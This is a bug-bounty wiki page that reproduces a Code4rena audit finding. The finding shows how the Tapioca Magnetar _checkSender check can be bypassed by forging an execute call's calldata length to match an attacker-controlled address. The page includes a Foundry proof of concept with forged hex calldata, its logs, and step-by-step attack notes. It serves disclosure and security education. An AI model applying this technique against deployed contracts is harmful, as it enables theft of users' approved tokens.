Skip to content
Access control Audit finding Advanced

IMarket.execute.selector , _checkSender bypass allows to execute arbitrary operations

The Magnetar contract's _checkSender function incorrectly decodes the first parameter of calldata for the execute function, using the calldata length instead of the actual address. An attacker can forge the calldata length to match their own address, bypassing the sender check and executing arbitrary market operations with other users' permissions.

GalloDaSballo Follow

Originally disclosed on Code4rena

Submitted by GalloDaSballo

Because of an incorrect interpretation of calldata for the execute signature, we are able to bypass the _checkSender and perform arbitrary execute operations as Magnetar.

Impact

Market.execute uses the following signature:

    function execute(Module[] calldata modules, bytes[] calldata calls, bool revertOnFail)

For Calldata variables, the size 4:36 is going to be the length of the calldata. We can specify an arbitrary length that matches the value of any address that is whitelisted, or any address that we’re able to generate. This will allow us to bypass the check and perform arbitrary execution in the market.

After forging our length, we have bypassed the check, allowing us to execute, while having permissions/allowances from other users:

https://github.com/Tapioca-DAO/tapioca-periph/blob/2ddbcb1cde03b548e13421b2dba66435d2ac8eb5/contracts/Magnetar/Magnetar.sol#L256-L281

    function _processMarketOperation(
        address _target,
        bytes calldata _actionCalldata,
        uint256 _actionValue,
        bool _allowFailure
    ) private {
        if (!cluster.isWhitelisted(0, _target)) revert Magnetar_NotAuthorized(_target, _target);

        /// @dev owner address should always be first param.
        // addCollateral(address from,...)
        // borrow(address from,...)
        // addAsset(address from,...)
        // repay(address _from,...)
        // buyCollateral(address from,...)
        // sellCollateral(address from,...)
        bytes4 funcSig = bytes4(_actionCalldata[:4]);
        if (
            funcSig == IMarket.execute.selector || funcSig == ISingularity.addAsset.selector /// @audit ??????
                || funcSig == ISingularity.removeAsset.selector
        ) {
            /// @dev Owner param check. See Warning above.
            _checkSender(abi.decode(_actionCalldata[4:36], (address))); /// @audit we can forge this 80%
            _executeCall(_target, _actionCalldata, _actionValue, _allowFailure);
            return;
        }

POC

This will allow us to transfer any token that is approved to us, stealing them. We can proceed to mine an address with low enough zeros, or simply use a suitable system address for any chain, as the requirement for _checkSender(abi.decode(_actionCalldata[4:36], (address))) is simply to match the msg.sender.

An example would be the Optimism Portal on L2 which would have very low address; meaning we would be able to have a sufficient amount of operations there. Once we can bypass the check, we will be able to have Magnetar execute any market operation, such as transfers of other people tokens, allowing us to steal them.

Coded POC

The Coded POC shows how we can forge calldata to bypass the check, as long as we can use an address that matches the abi.decoding of the length:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";

contract MockCallerChecker {

  function doTheCheck(bytes calldata _actionCalldata) external {
    console2.log("Calldata Length", _actionCalldata.length);
    _checkSender(abi.decode(_actionCalldata[4:36], (address)));
  }

  function _checkSender(address entry) internal {
    console2.log("msg.sender", msg.sender);
    console2.log("entry", entry);
    require(msg.sender == entry);
  }
}

contract BasicTest is Test {
    // 4 bytes is funsig 0xaaaaaaaa
    // 32 bytes are the address (since abi.encoding uses a full word)
    // 0000000000000000000000000000000000000000111111111111111111111111
    bytes data = hex"aaaaaaaa0000000000000000000000000000000000000000111111111111111111111111";

    function testDemo() public {
      MockCallerChecker checker = new MockCallerChecker();
      console2.log(data.length);

      // Same address as the length
      vm.prank(address(0x111111111111111111111111));
      checker.doTheCheck(data);

      // For a real exploit, all we have to do is find the cheapest between available addresses and one we can mine
    }
}

Logs

Logs:
  36
  Calldata Length 36
  msg.sender 0x0000000000000000111111111111111111111111
  entry 0x0000000000000000111111111111111111111111

Traces:
  [217996] BasicTest::testDemo()
    ├─ [169614] → new MockCallerChecker@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   └─ ← 847 bytes of code
    ├─ [0] console::log(36) [staticcall]
    │   └─ ← ()
    ├─ [0] VM::prank(0x0000000000000000111111111111111111111111)
    │   └─ ← ()
    ├─ [2931] MockCallerChecker::doTheCheck(0xaaaaaaaa0000000000000000000000000000000000000000111111111111111111111111)
    │   ├─ [0] console::log("Calldata Length", 36) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::log("msg.sender", 0x0000000000000000111111111111111111111111) [staticcall]
    │   │   └─ ← ()
    │   ├─ [0] console::log("entry", 0x0000000000000000111111111111111111111111) [staticcall]
    │   │   └─ ← ()
    │   └─ ← ()
    └─ ← ()

Notes on Cost

The cost of the attack is the cost of finding an address that is small enough to steal all funds; As far as I can tell, this would take a few days on specialized hardware.

On certain chains, with system contracts (e.g. Optimism) the cost would be zero as we could act on behalf of the Portal and we would be able to use very small amount of data.

It’s also worth noting that Arbitrum (the base chain of the project), has no gas limit on blocks.

Mitigation

It may be necessary to remove execute from available commands as all commands will be performed by Magnetar.

Assessed type

en/de-code

0xWeiss (Tapioca) confirmed


The original report as published on Code4rena, by GalloDaSballo. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the code uses abi.decode on a fixed calldata slice (4:36) to extract an address, but for dynamic calldata types this slice contains the length of the calldata, not the address, allowing the length to be forged to match msg.sender.

Impact

An attacker could steal tokens that users have approved to Magnetar, but the attack requires finding or mining an address whose value matches the forged calldata length, which may take days on specialised hardware or be free on chains with low-value system addresses.

What the attacker needed

Victim has approved tokens to Magnetar; attacker can mine or find an address matching length; or use a low-value system address on some chains

The fix

The execute function should be removed from the list of allowed commands, as all commands are performed by Magnetar.

How it was found

  1. Identify that the execute function's first parameter is a dynamic calldata array, so bytes 4:36 represent its length.
  2. Craft calldata for execute where the length field equals an address that matches msg.sender (e.g., a mined address or a system address with low value).
  3. Call Magnetar with this forged calldata, bypassing the _checkSender check.
  4. Perform arbitrary market operations, such as transferring tokens approved to Magnetar, stealing them.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract checks who is calling a function by reading an address from the input data. But for one function, it mistakenly reads the length of the input data instead of the address. An attacker can craft input data whose length equals their own address, tricking the contract into thinking the caller is authorised, and then perform actions on behalf of other users.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by GalloDaSballo

View all

30 more disclosed reports, best first.

More from Tapioca Invitational

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.